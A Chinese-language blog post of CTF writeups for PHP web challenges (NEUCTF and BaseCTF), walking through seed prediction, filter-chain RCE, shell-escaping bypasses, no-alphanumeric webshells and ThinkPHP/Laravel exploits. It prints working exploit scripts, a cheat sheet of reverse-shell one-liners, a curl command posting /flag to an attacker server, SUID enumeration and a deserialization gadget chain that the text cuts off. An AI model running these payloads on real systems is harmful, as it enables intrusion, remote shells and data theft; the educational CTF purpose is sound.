NEUCTF Web Round-1 总结

这是我的第一篇博客,主要记录了在 NEUCTF 练习赛中部分 PHP 题目的 writeup。

ezrand

先上源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
// 设置随机数种子,种子是 '/proc/self/mountinfo' 文件内容的 CRC32 哈希值
mt_srand(crc32(file_get_contents('/proc/self/mountinfo')));
 
// 生成两个随机数并将其连接为字符串,然后输出
echo mt_rand().mt_rand();
 
// 检查用户通过 GET 请求传入的 'guess' 参数是否与接下来生成的两个随机数相匹配
if (($_GET['guess'] ?? '') === mt_rand().mt_rand()) 
    // 如果匹配,则读取并输出 '/flag' 文件的内容
    echo file_get_contents('/flag');
else 
    // 如果不匹配,则显示当前文件的源代码并加上语法高亮
    highlight_file(__FILE__);
?>
# 6593240329414056

我们来分析一下,该题的关键是 mt_rand 函数

生成的是伪随机数,所以我们可以通过输出来还原种子,进而预测下一轮随机数

输出 6593240329414056 是由两个随机数连接成为的字符串,我们先来测试一下这个函数,空着输出 10 个

1
2
3
4
5
<?php
for ($i = 0; $i < 10; $i++) {
    echo mt_rand(); // 生成并输出一个随机数
    echo "\n"; // 输出换行符
}

发现他们的位数相仿,而这道题的输出是 16 位,我们先对半分,猜想两个随机数都是 8 位

我们使用 php_mt_seed 工具来爆破还原种子

参考文档:https://blog.csdn.net/m0_46607055/article/details/121335800

我们带入尝试一下,发现种子都不符合,我们再尝试一下别的位数

带入验证一下,这回对上了

1
2
3
4
5
6
7
<?php
mt_srand(4267213920); // 初始化伪随机数生成器
 
for ($i = 0; $i < 5; $i++) {
    echo mt_rand(); // 生成并输出一个随机数
    echo "\n"; // 输出换行符
}

进而下一轮就是 6055072741271739155

ezclass

先上源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// 创建一个匿名类实例,并将其实例化为 $class 变量
$class = new class {
    // 定义一个魔术方法 __invoke,当对象被当作函数调用时执行
    function __invoke() { 
        // 执行系统命令 'cat /flag',读取并输出 /flag 文件内容
        system('cat /flag'); 
    }
};
 
// 释放(删除) $class 变量所指向的对象实例,这意味着对象已经无法通过 $class 访问
unset($class); // Oops! 这里的 unset 导致 $class 被删除
 
// 检查是否通过 GET 请求传入了 'c' 参数
if (isset($_GET['c'])) 
    // 如果 'c' 参数存在,则尝试实例化该类并调用其 __invoke 方法
    (new $_GET['c']())();
else 
    // 如果 'c' 参数不存在,则显示当前文件的源代码,并加上语法高亮
    highlight_file(__FILE__);
?>

这题的关键在于__invoke 函数

但是使用了 unset 函数,删除掉了

那怎么办呢,实际上这涉及到一个匿名类的问题(当需要创建简单的一次性对象时,匿名类非常有用)因为这个匿名类没有到 256 字节的长度,所以 unset 不会马上就删除掉它的内存,只是把这个名字给擦去了。那么我们只需要找到这块内存,然后扒出来就行了。

参考链接:红明谷初赛 2024-web-wp

本题的关键函数来了:get_declared_classes(),先在本地试试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
$class = new class {
    function __invoke() { system('cat /flag'); }
};
unset($class); // Oops!
if (isset($_GET['c'])) (new $_GET['c']())();
else highlight_file(__FILE__);
$c = get_declared_classes();
//c用urlencode  输出最后一个  //有不可见字符
echo urlencode($c[count($c)-1]);

修改一下在靶机上尝试一下发现过不了

这里有两个位置一个是 %3A2,这个 2 取决于这个匿名类在哪一行被声明,还有一个就是最后一位 %241,这个 1 是网站访问次数,要么重开靶机使用 %240,要么使用一个较大的数,然后不断访问爆破(注意爆破最后一位是 16 进制),还有一个点也要注意,传入的必须是 urlencode 后的,因为有不可见字符。

ezchain

先上源码

1
2
3
4
5
6
7
<?php
// are you able to read flag.php ?
if (isset($_REQUEST['file'])) {
    file_get_contents($_REQUEST['file']);
} else {
    highlight_file(__FILE__);
}

这道题是一个无回显的 file_get_contents,通常的方法都不能使用

参考链接:https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle

补充一下受影响的函数:

文章其实我是没咋看懂的(大致意思好像是通过报错爆破出文件的 Base64 内容),但是会用脚本

读到了 flag.php 的源码

1
2
3
<?php
$cmd = $_REQUEST['flag_is_on_the_horizon'];
if (isset($cmd)) echo include $cmd;

试了几个伪协议,有的能出,有的还是不行,实际上还是用一个工具(用伪协议来拼),我觉得用命令行每次执行都太复杂了,所以就把这个脚本稍微改了一下,但是我这个脚本有时候会不好使,好像是因为引号的缘故,我还没找到

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import requests
import base64
 
# 字符转换映射
conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}
 
 
def generate_filter_chain(chain, max_length=10000):
    encoded_chain = chain
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    filters += "convert.iconv.UTF8.UTF7|"
 
    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        filters += "convert.iconv.UTF8.UTF7|"
        if len(filters) > max_length:
            break
    filters += "convert.base64-decode"
 
    final_payload = f"php://filter/{filters}/resource=php://temp"
    print(final_payload)
    return final_payload
 
 
def main():
    url = "http://yo0jbse0m8ssm6j2.neu-nex.fun/flag.php"
 
 
    php_code = input("请输入要转换的PHP代码: ")
 
    # 将PHP代码转换为Base64
    chain = php_code.encode('utf-8')
    base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
    print(f"Base64的值为:{base64_value}")
    filter_chain = generate_filter_chain(base64_value)
 
    # 发送HTTP POST请求,可以手动改成GET,GET传参有大小显示,所以这道题用POST
    response = requests.post(url, data={'flag_is_on_the_horizon': filter_chain})
    # 输出响应内容
    print(response.text)
 
if __name__ == "__main__":
    while (True):
        main()

执行一下发现 flag 是没有权限读的,我们需要提权,提权的方式有很多种,这道题使用的是 suid 提权(某些文件有特权,可以利用它的特权暂时执行 root 权限),下面这些代码都是可以用来查找哪些文件是具有 suid 特权的

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

这步我那个脚本就出现问题了,还是手动使用那个工具吧

可以看到这里有 find,可以使用它来提权

这题似乎还可以反弹 shell

常用的反弹 shell 命令:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
# 现在好像要这样写:bash -c "bash -i >& /dev/tcp/公网ip/port 0>&1"
 
# nc反弹
nc -e /bin/bash 公网ip port
 
# python反弹 
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
 
# php反弹
php -r 'exec("/usr/bin/bash -i >& /dev/tcp/ip/port 0>&1");'
 
# exec反弹
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
 
# perl反弹
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
# awk反弹
awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
 
# telnet反弹
攻击者:
nc -nvlp port1		#输入命令
nc -nvlp port2		#输出命令
受害者:
telnet ip port1 | /bin/bash | telnet ip port2
 
# socat反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

参考链接:https://blog.csdn.net/weixin_44288604/article/details/111740527

反弹 shell 要注意目标机中是否有上述这些环境,如果没有则可以换换姿势,还有反弹 shell 可出网也可不出网,不出网一般是自己测试,用 windows 连接虚拟机(二者在同一个网段上),一般实战都是出网的,反弹 shell 到自己的服务器上,除此之外还要注意服务器是否放行了连接 shell 的端口。

不过这道题加上 php_chain 之后我怎么尝试都不好使,以后做到类似的再说吧。

我来补充了,使用这个反弹成功了

1
python php_filter_chain_generator.py --chain '<?php $sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'

ezchain plus

这道题属于番外篇了,是来自 BaseCTF 的一道题,先上源码:

1
echo file_get_contents($_POST['file']);

看上去很简单只有一句话,实际上要想利用他需要很大功夫,背后涉及到了许多 pwn(缓冲区溢出)的知识,我不是很能看懂,具体知识可以看这几篇文章

https://c1oudfl0w0.github.io/blog/2024/05/31/CVE-2024-2961%E5%A4%8D%E7%8E%B0

https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuWuEjSS3hfbD#toc-0

直接用工具

https://github.com/ambionics/cnext-exploits/

它是基于 https://github.com/synacktiv/php_filter_chains_oracle_exploit

直接访问 /flag 就能得到 flag 了

还有一个 file_get_contents ($_POST [‘file’]); 的(无回显)利用现在这个 payload 还不是很稳定

https://www.ambionics.io/blog/iconv-cve-2024-2961-p3

signin

说是签到题,我做着费了挺大劲,提示倒是给了不少,不然我真不一定能做出来

先上源码

1
2
3
4
5
<?php
// flag in /flag
// incredibly secure becoz we escape not only arg but also cmd
system(escapeshellcmd('curl http://'.escapeshellarg($_GET['url'] ?? 'example.com')));
highlight_file(__FILE__);

本题对 url 输入的命令进行了两层过滤,首先看一下这两个函数

看官方的解释感觉不是很好理解,于是翻到了一篇博客:https://www.freebuf.com/articles/web/182125.html

详细分析一下这个过程:

  1. 传入的参数是 127.0.0.1′ -v -d a=1
  2. 由于 escapeshellarg 先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:’127.0.0.1’\” -v -d a=1′
  3. 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:’127.0.0.1’\” -v -d a=1\’
  4. 由于第三步处理之后的 payload 中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将 payload 分割为三个部分,具体如下所示:

所以这个 payload 可以简化为 curl 127.0.0.1\ -v -d a=1' ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1'

回到这道题,也是通过构造来执行 curl 命令来获取 flag,

我是使用了把 flag 发到服务器上,第二种方法没有试出来

先在本地上调试

1
2
3
<?php
 
echo escapeshellcmd('curl http://'.escapeshellarg("' WhatToDoInHereThen ?"));

php 代码输出结果在 linux 调试,服务器上开一个接收脚本 (socket 通信),如果接受到数据说明构造正确。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import socket
 
# 配置服务器地址和端口
HOST = '0.0.0.0'  # 监听所有可用的网络接口
PORT =  port   # 你可以选择一个未被占用的端口号
 
# 创建一个 TCP/IP socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))  # 绑定地址和端口
    s.listen(5)  # 监听连接,最多允许 5 个等待连接
 
    print(f"服务器启动,正在监听 {HOST}:{PORT}...")
 
    while True:
        conn, addr = s.accept()  # 接受一个新连接
        with conn:
            print(f"已连接 {addr}")
            data = conn.recv(1024)  # 接收数据,最大为 1024 字节
            print(f"接收到的数据:\n{data.decode('utf-8')}")
            
            # 解析数据
            request_lines = data.decode('utf-8').splitlines()
            if request_lines:
                print(f"请求行: {request_lines[0]}")
            
            # 向客户端发送响应
            response = (
                "HTTP/1.1 200 OK\r\n"
                "Content-Type: text/html\r\n"
                "Content-Length: 19\r\n"
                "\r\n"
                "POST 数据已接收"
            )
            conn.sendall(response.encode('utf-8'))

(其实直接用 nc 监听也可以,不用这个脚本也行)

经过测试,最后 payload:

1
' ip:port -d @/flag -X POST

flag 此时已被服务器接收,查看即可

phpmagic

先上源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// 检查是否通过 GET 请求传递了 'name' 参数
if (isset($_GET['name'])) {
// 获取 GET 参数 'hello_world.method' 的值,赋值给变量 $method
// 如果未传递 'hello_world.method' 参数,则将 $method 设置为 'crc32'
$method = $_GET['hello_world.method'];
is_null($method) ? $method = 'crc32' : 1;
 
// 检查传入的 'name' 参数的长度是否大于2字符。如果长度不符合要求,则终止执行。
strlen($name = $_GET['name']) <= 2 || die(); // 希望您的名字足够短 :)
 
// 输出基于 $method 函数处理后的 'name' 值作为 "今天的幸运数字"
echo 'Your lucky number today: ' . $method($name) . '<br>';
 
// 再次输出基于 $method 函数处理后的 'name' 值作为 "今天的不幸数字"
echo 'Your unlucky number today: ' . $method($name);
} else {
  // 如果没有传递 'name' 参数,显示当前文件的源码
  highlight_file(__FILE__);
}
?>

这是个很有意思的题,刚开始看的时候还是很懵的,不知道要怎么利用,一步一步来吧。

首先,我们在测试的时候会发现 hello_world.method 参数根本传不进去,这是第一个考点,非法字符的传参问题

参考链接:https://blog.csdn.net/mochu7777777/article/details/115050295

将 hello_world.method 改成 hello [world.method 就能传参了

于是传入?name=ls&hello [world.method=system

flag 就在眼前,可惜被限制长度给制裁了,就是读不了,那我们就需要接着绕过 strlen 了,搜了半天搜到一个数组绕过传入数组会得到 NULL,bool (NULL<=2) 可以过判断

确实可以过判断但是没什么用,system 函数也传不了数组,于是寻找 php 的函数中能传数组的函数,并且还需要跟这道题有关,简直是折磨,写个爬虫给 php 函数的名称和传参爬取下来(还问了别人好多遍),最后才知道是 extract 函数的变量覆盖漏洞,$method ($name) 传了两遍,正好可以利用这个漏洞。

参考链接:https://blog.csdn.net/qq_42357070/article/details/81982420

最终 payload:

1
?name[method]=system&name[name]=cat /flag&hello[world.method=extract

ezshell(Update: 2026-01-29)

先上源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
  // 检查是否通过GET请求传递了'cmd'参数
  if (isset($_GET['cmd'])) {
  // 将'cmd'参数转换为字符串类型
  $cmd = strval($_GET['cmd']);
 
// 使用正则表达式检查'cmd'内容,如果包含字母、数字或括号,立即结束程序
// 这一步实际上在阻止某些恶意命令,但这个正则表达式没有防止所有可能的恶意输入
if(preg_match("/[A-Za-z0-9\(\)]+/", $cmd)) die;
 
// 执行'cmd'中的PHP代码,潜在存在安全风险
eval($cmd);
} else {
  // 如果没有传递'cmd'参数,则显示当前文件的源代码
  highlight_file(__FILE__);
}
?>

这个题也是很折磨,最主要的是过滤掉了括号,没法执行函数

首先是看到了 ctfwiki 上的方法,使用异或运算来构造可以 GET 或 POST 传参的点,但是使用了大括号,这题也是无法实现的

然后搜索了无字母数字的 webshell,介绍了好多种做法:异或,或,url 编码取反绕过,自增运算

参考链接:https://www.freebuf.com/articles/network/279563.html

最后尝试了异或绕过,先用 php 跑出来一个字典

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
 
function generate_xor_results($i_ranges, $j_ranges, $filename)
{
    $myfile = fopen($filename, "w");
    $contents = "";
 
    foreach ($i_ranges as $i_range) {
        for ($i = $i_range[0]; $i <= $i_range[1]; $i++) {
            
            foreach ($j_ranges as $j_range) {
                for ($j = $j_range[0]; $j <= $j_range[1]; $j++) {
                    $xor_result = $i ^ $j;
                    
                    if ($xor_result >= 32 && $xor_result <= 126) {
                        $contents .= chr($xor_result) . " " . chr($i) . " " . chr($j) . "\n";
                    }
                }
            }
        }
    }
 
    fwrite($myfile, $contents);
    fclose($myfile);
}
 
$i_ranges = [
    [33, 39],
    [42, 47],   
    [58, 64],    
    [91, 96],    
    [123, 126]  
];
 
$j_ranges = [
    [33, 39],
    [42, 47],  
    [58, 64],    
    [91, 96],   
    [123, 126]   
];
 
generate_xor_results($i_ranges, $j_ranges, "or_rce1.txt");

再用 Python 脚本生成 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
 
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        with open("or_rce2.txt", "r") as f:
            while True:
                t = f.readline()
                if t == "":
                    break
                if t[0] == i:
                    s1 += t[2]
                    s2 += t[4]
                    break
    output = f"(\"{s1}\"^\"{s2}\")"
    return output
 
 
while True:
    arg_input = input("\n[+] Your arg: ")
    param = action(arg_input)
    print(param)

实际操作发现过滤了不少东西,异或出来的结果是有限的,比如要构造一个 echo 反引号 ls,发现没有 h,卡了半天问别人是用的自增和异或的结合,一下就通顺了,我怎么就没想到呢,没有 h,可以利用 g,再自增一下不就变成了 h 吗,于是顺利构造出了 echo 反引号 ls,传入还需要 url 编码一下。

1
$_="%#"^"@@";$__="'"^"@";$__++;$_=$_.$__;$__="/"^"@";$_=$_.$__;$__=",,"^"@_";$_=$_." `".$__."`";$_;//echo`ls`;

正当我以为结束了的时候,您猜怎么着,什么也没有了

接着就是一顿本地调试,确实是传入进去了,但是很奇怪没传入进去,想不明白先放这里吧,又构造了一个类似于 webshell 的 $_POST ["_"];,利用_来传入 post 参数

1
$____="#"^"|";$____.="."^"~";$____.="/"^"`";$____.="-"^"~";$____.="*"^"~";$_=${$____}["_"];`$_`;//$_POST["_"];

利用_传入 phpinfo (),心想这下总可以了吧,然而现实又给我重重一击,又和上面一样

于是请教了 web 神胡学长,不愧是 web 神,一下就点出了问题,原来是我没有理解 eval () 里面加上一个反引号,相当于 shell_exec (),并且执行后无回显,其实把这个 post 传的参数去掉通过报错也能看出来

里面应该传入命令而不是 php 代码,要实现传入 php 代码,需要 eval (eval ()),这样才可以,而本题中过滤了括号所以没法实现,上面那个 echo 反引号‘ls 也是错在这里了,eval 执行的不是 echo ls,执行的是生成 echo ls 字符串的代码,细细理解一下就知道了,混淆了字符串和代码

传入 shell 就容易了,可以把 ls / 的结果写入一个文件中,然后还用 signin 的方法用 curl 发到服务器上,反弹 shell 这次又失败了,目标机上没有 bash 环境,curl+php 的方法刚连上就断掉了

我来补充了,某一天搜到了反弹 shell 的大全,于是又回来试了一下,感觉调用 php 那些命令执行函数执行反弹的 shell 都不行,估计是这些函数都被禁了于是使用这个命令

1
php -r '$sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

这次居然成功了


时隔几百天,我又回来看这道题了。和当时不同的是,我已经拿到了胡哥给的焚诀,也就是标准答案:

poc1:(php7)

1
?><?=`{${"`{{{"^"?<>/"}[%a0]}`?>&%a0=ls -al /

拆开看:

  • ?>:结束 PHP 代码块(从 PHP 模式切回 HTML 模式)

  • <?= ... ?>短 echo 标签(等价于 <?php echo ...; ?>

  • 套上反引号相当于shell_exec

  • 异或那一坨算出来是_GET

  • ${_GET}->${"_GET"} ->$_GET

  • %a0在url解码后是不可见字符,可以被用作key

总的来说就是相当于

1
eval(shell_exec($_GET[不可见字符]))

poc2:(php 5 )

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests, io, threading

url = ''

content = b'''#!/bin/sh\n php -r '$sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' '''

while True:
    params = {'cmd': '`. /*/????????[@-[]`;'}
    res = requests.post(url, params=params, files={'file': ('file', io.BytesIO(content))})
    print(res.text)

具体细节见https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

ezthink

一个 thinphp 的框架

网上有很多关于这个框架的漏洞讲解,我试了几个不完全对,于是找到了一个工具

https://github.com/bewhale/thinkphp_gui_tools

(用 java8)扫描完之后直接利用那个洞就可以传 webshell 了,用蚁剑一连接,打开终端发现不太对啊

搜索了一下是需要绕过 disable_functions,还是需要用工具:蚁剑的一个插件(插件市场似乎打不开了,需要设置代理科学上网)

参考链接:https://blog.csdn.net/zlzg007/article/details/108462813

一顿操作猛如虎,可以执行命令,但还要一步提权

试了几种还是锁定了 suid 提权

date 似乎可以用来提权

参考链接:https://blog.csdn.net/hljzzj/article/details/122693379

ezlaravel

直接 osint 就出了,按照下面这个文章打就行,就是变了个路由和参数

https://blog.csdn.net/qq_54502707/article/details/128269292

https://xz.aliyun.com/t/11362?time__1311=Cq0xR70Qq4lx0nD2QbWi%3DRW4iqYvXox#toc-3

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
 
namespace Illuminate\Contracts\Queue{
 
    interface ShouldQueue {}
}
 
namespace Illuminate\Bus{
 
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";
 
        }
    }
}
 
namespace Illuminate\Broadcasting{
 
    use Illuminate\Contracts\Queue\ShouldQueue;
 
    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }
 
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
